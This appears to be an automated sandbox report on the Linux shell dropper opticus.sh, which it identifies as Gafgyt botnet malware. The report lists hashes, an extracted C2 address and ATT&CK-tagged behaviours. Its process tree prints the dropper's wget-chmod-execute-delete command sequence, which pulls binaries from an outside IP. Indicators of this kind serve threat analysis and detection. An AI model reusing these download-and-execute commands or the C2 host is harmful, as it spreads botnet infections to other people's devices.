Analysis
-
max time kernel
149s -
max time network
150s -
platform
debian-9_armhf -
resource
debian9-armhf-20240418-en -
resource tags
arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem -
submitted
09/03/2025, 04:09
Static task
static1
Behavioral task
behavioral1
Sample
opticus.sh
Resource
ubuntu1804-amd64-20240729-en
Behavioral task
behavioral2
Sample
opticus.sh
Resource
debian9-armhf-20240418-en
Behavioral task
behavioral3
Sample
opticus.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
opticus.sh
Resource
debian9-mipsel-20240226-en
General
-
Target
opticus.sh
-
Size
2KB
-
MD5
cce1f6633e5b8d3dcb896051af943a72
-
SHA1
016e7193a2dd76f6bcaff3c51f479fd1e99ad3c7
-
SHA256
6bc1fdcba425416e5c1986bc29d170befb5253f177ed08ee06701a943a3df8a4
-
SHA512
374e49c79e9c4f01cae212788cf75988b5c0a6269e4a0786c7ed9b38c3a37e8003c77d68c81636990c74e199d4d524512b2132866cdba495f5c45c09a3d84bc2
Malware Config
Extracted
gafgyt
196.251.80.231:839
Signatures
-
Detected Gafgyt variant 11 IoCs
resource yara_rule behavioral2/files/fstream-1.dat family_gafgyt behavioral2/files/fstream-2.dat family_gafgyt behavioral2/files/fstream-3.dat family_gafgyt behavioral2/files/fstream-4.dat family_gafgyt behavioral2/files/fstream-5.dat family_gafgyt behavioral2/files/fstream-6.dat family_gafgyt behavioral2/files/fstream-7.dat family_gafgyt behavioral2/files/fstream-8.dat family_gafgyt behavioral2/files/fstream-9.dat family_gafgyt behavioral2/files/fstream-10.dat family_gafgyt behavioral2/files/fstream-13.dat family_gafgyt -
Gafgyt family
-
File and Directory Permissions Modification 1 TTPs 13 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 795 chmod 683 chmod 722 chmod 765 chmod 778 chmod 801 chmod 807 chmod 667 chmod 701 chmod 732 chmod 743 chmod 784 chmod 789 chmod -
Executes dropped EXE 13 IoCs
ioc pid Process /tmp/m-i.p-s.opticus 668 opticus.sh /tmp/m-p.s-l.opticus 684 opticus.sh /tmp/s-h.4-.opticus 703 opticus.sh /tmp/x-8.6-.opticus 723 opticus.sh /tmp/a-r.m-6.opticus 733 opticus.sh /tmp/x-3.2-.opticus 745 opticus.sh /tmp/a-r.m-7.opticus 766 opticus.sh /tmp/p-p.c-.opticus 779 opticus.sh /tmp/i-5.8-6.opticus 785 opticus.sh /tmp/m-6.8-k.opticus 790 opticus.sh /tmp/p-p.c-.opticus 796 opticus.sh /tmp/a-r.m-4.opticus 802 opticus.sh /tmp/a-r.m-5.opticus 808 opticus.sh -
Reads system routing table 1 TTPs 6 IoCs
Gets active network interfaces from /proc virtual filesystem.
description ioc Process File opened for reading /proc/net/route a-r.m-6.opticus File opened for reading /proc/net/route p-p.c-.opticus File opened for reading /proc/net/route m-6.8-k.opticus File opened for reading /proc/net/route p-p.c-.opticus File opened for reading /proc/net/route a-r.m-4.opticus File opened for reading /proc/net/route a-r.m-5.opticus -
Reads system network configuration 1 TTPs 6 IoCs
Uses contents of /proc filesystem to enumerate network settings.
description ioc Process File opened for reading /proc/net/route m-6.8-k.opticus File opened for reading /proc/net/route p-p.c-.opticus File opened for reading /proc/net/route a-r.m-4.opticus File opened for reading /proc/net/route a-r.m-5.opticus File opened for reading /proc/net/route a-r.m-6.opticus File opened for reading /proc/net/route p-p.c-.opticus -
Writes file to tmp directory 13 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/x-3.2-.opticus wget File opened for modification /tmp/p-p.c-.opticus wget File opened for modification /tmp/a-r.m-5.opticus wget File opened for modification /tmp/m-p.s-l.opticus wget File opened for modification /tmp/s-h.4-.opticus wget File opened for modification /tmp/a-r.m-6.opticus wget File opened for modification /tmp/a-r.m-7.opticus wget File opened for modification /tmp/p-p.c-.opticus wget File opened for modification /tmp/i-5.8-6.opticus wget File opened for modification /tmp/m-6.8-k.opticus wget File opened for modification /tmp/a-r.m-4.opticus wget File opened for modification /tmp/m-i.p-s.opticus wget File opened for modification /tmp/x-8.6-.opticus wget
Processes
-
/tmp/opticus.sh/tmp/opticus.sh1⤵
- Executes dropped EXE
PID:637 -
/usr/bin/wgetwget http://196.251.80.231/m-i.p-s.opticus2⤵
- Writes file to tmp directory
PID:640
-
-
/bin/chmodchmod +x m-i.p-s.opticus2⤵
- File and Directory Permissions Modification
PID:667
-
-
/tmp/m-i.p-s.opticus./m-i.p-s.opticus2⤵PID:668
-
-
/bin/rmrm -rf m-i.p-s.opticus2⤵PID:670
-
-
/usr/bin/wgetwget http://196.251.80.231/m-p.s-l.opticus2⤵
- Writes file to tmp directory
PID:671
-
-
/bin/chmodchmod +x m-p.s-l.opticus2⤵
- File and Directory Permissions Modification
PID:683
-
-
/tmp/m-p.s-l.opticus./m-p.s-l.opticus2⤵PID:684
-
-
/bin/rmrm -rf m-p.s-l.opticus2⤵PID:687
-
-
/usr/bin/wgetwget http://196.251.80.231/s-h.4-.opticus2⤵
- Writes file to tmp directory
PID:688
-
-
/bin/chmodchmod +x s-h.4-.opticus2⤵
- File and Directory Permissions Modification
PID:701
-
-
/tmp/s-h.4-.opticus./s-h.4-.opticus2⤵PID:703
-
-
/bin/rmrm -rf s-h.4-.opticus2⤵PID:706
-
-
/usr/bin/wgetwget http://196.251.80.231/x-8.6-.opticus2⤵
- Writes file to tmp directory
PID:707
-
-
/bin/chmodchmod +x x-8.6-.opticus2⤵
- File and Directory Permissions Modification
PID:722
-
-
/tmp/x-8.6-.opticus./x-8.6-.opticus2⤵PID:723
-
-
/bin/rmrm -rf x-8.6-.opticus2⤵PID:726
-
-
/usr/bin/wgetwget http://196.251.80.231/a-r.m-6.opticus2⤵
- Writes file to tmp directory
PID:728
-
-
/bin/chmodchmod +x a-r.m-6.opticus2⤵
- File and Directory Permissions Modification
PID:732
-
-
/tmp/a-r.m-6.opticus./a-r.m-6.opticus2⤵
- Reads system routing table
- Reads system network configuration
PID:733
-
-
/bin/rmrm -rf a-r.m-6.opticus2⤵PID:736
-
-
/usr/bin/wgetwget http://196.251.80.231/x-3.2-.opticus2⤵
- Writes file to tmp directory
PID:737
-
-
/bin/chmodchmod +x x-3.2-.opticus2⤵
- File and Directory Permissions Modification
PID:743
-
-
/tmp/x-3.2-.opticus./x-3.2-.opticus2⤵PID:745
-
-
/bin/rmrm -rf x-3.2-.opticus2⤵PID:747
-
-
/usr/bin/wgetwget http://196.251.80.231/a-r.m-7.opticus2⤵
- Writes file to tmp directory
PID:748
-
-
/bin/chmodchmod +x a-r.m-7.opticus2⤵
- File and Directory Permissions Modification
PID:765
-
-
/tmp/a-r.m-7.opticus./a-r.m-7.opticus2⤵PID:766
-
-
/bin/rmrm -rf a-r.m-7.opticus2⤵PID:769
-
-
/usr/bin/wgetwget http://196.251.80.231/p-p.c-.opticus2⤵
- Writes file to tmp directory
PID:770
-
-
/bin/chmodchmod +x p-p.c-.opticus2⤵
- File and Directory Permissions Modification
PID:778
-
-
/tmp/p-p.c-.opticus./p-p.c-.opticus2⤵
- Reads system routing table
- Reads system network configuration
PID:779
-
-
/bin/rmrm -rf p-p.c-.opticus2⤵PID:782
-
-
/usr/bin/wgetwget http://196.251.80.231/i-5.8-6.opticus2⤵
- Writes file to tmp directory
PID:783
-
-
/bin/chmodchmod +x i-5.8-6.opticus2⤵
- File and Directory Permissions Modification
PID:784
-
-
/tmp/i-5.8-6.opticus./i-5.8-6.opticus2⤵PID:785
-
-
/bin/rmrm -rf i-5.8-6.opticus2⤵PID:787
-
-
/usr/bin/wgetwget http://196.251.80.231/m-6.8-k.opticus2⤵
- Writes file to tmp directory
PID:788
-
-
/bin/chmodchmod +x m-6.8-k.opticus2⤵
- File and Directory Permissions Modification
PID:789
-
-
/tmp/m-6.8-k.opticus./m-6.8-k.opticus2⤵
- Reads system routing table
- Reads system network configuration
PID:790
-
-
/bin/rmrm -rf m-6.8-k.opticus2⤵PID:793
-
-
/usr/bin/wgetwget http://196.251.80.231/p-p.c-.opticus2⤵
- Writes file to tmp directory
PID:794
-
-
/bin/chmodchmod +x p-p.c-.opticus2⤵
- File and Directory Permissions Modification
PID:795
-
-
/tmp/p-p.c-.opticus./p-p.c-.opticus2⤵
- Reads system routing table
- Reads system network configuration
PID:796
-
-
/bin/rmrm -rf p-p.c-.opticus2⤵PID:799
-
-
/usr/bin/wgetwget http://196.251.80.231/a-r.m-4.opticus2⤵
- Writes file to tmp directory
PID:800
-
-
/bin/chmodchmod +x a-r.m-4.opticus2⤵
- File and Directory Permissions Modification
PID:801
-
-
/tmp/a-r.m-4.opticus./a-r.m-4.opticus2⤵
- Reads system routing table
- Reads system network configuration
PID:802
-
-
/bin/rmrm -rf a-r.m-4.opticus2⤵PID:805
-
-
/usr/bin/wgetwget http://196.251.80.231/a-r.m-5.opticus2⤵
- Writes file to tmp directory
PID:806
-
-
/bin/chmodchmod +x a-r.m-5.opticus2⤵
- File and Directory Permissions Modification
PID:807
-
-
/tmp/a-r.m-5.opticus./a-r.m-5.opticus2⤵
- Reads system routing table
- Reads system network configuration
PID:808
-
-
/bin/rmrm -rf a-r.m-5.opticus2⤵PID:811
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
102KB
MD513d5afe66fd345dbf95d6b813d533225
SHA1fc9ac873e974b2c8b5032c0761b950e90c6c1e4f
SHA25663b79c959ba6eea45e22ce93ceafc0d8dd9c273321ac165adefe47f075a9f5aa
SHA512d42c1a05ea4fdd7649ea52ee6bc98d72e913cebb9cd38f5d150bbf3469fa42be04e6ab6e570d25d31c2cfd73289d5fa80658c845ca37eb31dc3d5bfa7bf84610
-
Filesize
124KB
MD5b6dbb2f3a214555b95768de19f1f6fc3
SHA1bc45a0ce50876b722a0706d87e064e56e2061197
SHA256524384c337b80d6d65e0ca034eacea1bdcbf48f584bb6a45f0a1ce5b5eff5726
SHA5128edf5af711f7960dff2245ef07644d7460bb35df4edf95255e637aed120fe97d97b868982cf743a657a650ce8ab295478d5f0df2f381c2c481c4ff302899228d
-
Filesize
96KB
MD54782430d9efb94b43c2c951ffa6bc035
SHA11a013310a84d23c005298015a9f6a95f562c8f61
SHA256f52254488814ff24b2479356c69e785f39ba586a39ede84d34b8ec3382c17f7b
SHA5124223a7f34a78745fe73bb0d89fa358adefbda97a2cfe90edc4ff8e09cc3a326e22e46610789ec092a87bb9bb2a6c2ea29462212d8c6c042c446267a34ef699ed
-
Filesize
99KB
MD57e05d392c3dac0533fa63e4c6921c53a
SHA134e5021d85755855cbb74ed34e410e0578382dd6
SHA256d76f62c55f509df7ca196ceae50b2aa58e39be1dceed62366748f66c7d86d503
SHA512717a396db41566cb84e86d11f0bb7df5ea970b1bff4901ab0081f2d05fa82b18d1fdd8b2e28d95f66211ee2c5f3ed1fc161c288da68ccdc7e4734c3379d99bae
-
Filesize
161KB
MD51a0f1649c5a72726c15c936d0c96161c
SHA1682f18d242c6b04e457f632987556184a048963e
SHA256bb6caf3168dbf71d44139c123e24d4612fbeaab958d70a5f8434a4a38183f8ab
SHA512750df932d445399e103d34b88d06477d6a90a3729fd019a761cb0822e1dbfd4467a951c584fda588148e3fb1f314a5ab546918157ef7c349b8c344bf5ceab298
-
Filesize
131KB
MD56832023c75f6dff66484d6473d17fb23
SHA19ca274e04331fe28319952dca7cb778ce32e372a
SHA256219439128253379a4311963b5b19c148af7f52caf273526f5b92497b979347ad
SHA512d2eb287c54fdcdf65fa3140b647beba1221ab08f5a77389ea4e8971f102303b59774d512886293fed6f4e0d6af9e8d76d2653a8490ac7ded4603ad1b4f107312
-
Filesize
131KB
MD5f6127829f38408360cea52be03ee9293
SHA11b37fcf76698950bbf6fada63429ac991f96bd6c
SHA25658e5d290fb200c05c5d85a03c7f62e75a7ac76730275c642a4cacb7138736fda
SHA51224563b48f454662f3249fc52ae93d8e0c18bf54ae366ff4caf00c462052f2854877529860eb6aa579d9944bb50cab766e0c06a6c9470af8e9416793d4560a2ca
-
Filesize
110KB
MD510365051845c7885577faca4383e1696
SHA197ca66e3bf3bbb98bbf63832dfd370401e063d28
SHA256069a5eb840b4786f6edc50d7ee76bc1872771b9c7c30152cc94b276a8e26f5aa
SHA512abdb53d3208237e39d2e8d5ea759f55daaabd236e7c79cc4f9e2d3bc0b6bdf343b4d4c7362c055239995e9b36d2928b0750482483c825b41591106030450271f
-
Filesize
92KB
MD592c2c9184c05cea338707dbace5c8a11
SHA12491a9d71271b4890e55ac06c309a5f9929cbf86
SHA256a7b7e2d4edb45c2c5c7097727a96e45fd51c91e913ebd7e721def6ffa4bb87f4
SHA5125efffede19049d1c3cac8ed4250d0d12bc29bdb93b2a6d97a1ecbaab3da7c9f5fbf1bd5b04075352b5446717a646df98a902655ddcba0ff09d3202648200b8d9
-
Filesize
84KB
MD57273c44b1fa4c67d578b20201daf3a08
SHA16b67d21c5e6d1dada3bb1a6fb144af78a946a16c
SHA256e9ab4c5775283235c852180f5f485057b92dc3fe9cb73ee56cadc081d0bc4f5a
SHA5123b6daf2f7dc74ddc1dec29198328006ea623fda271fa7e0da8239cb2c1820b24a94c8824ab501e051b70bfc3971b3e630858af328a38b7784d09a55b24de5b24
-
Filesize
97KB
MD592a289d6fa890bcbc265d9aae8fca04c
SHA1e2f93c8c6af1920e3c482811be9a37ee3403c99f
SHA2568aee4d80ef0d4f29dbd6aa15b47c1ac3696c25db44cc8144963e78e51e7b4826
SHA512c2f7c23c0a6ba91f0f410a25bcd1f97deda795f10527ee4dd1788983323be6a2bcf2d88cbae77415dca546b050fefa14ef2cd5287a3e6d2a21b934c0562057ea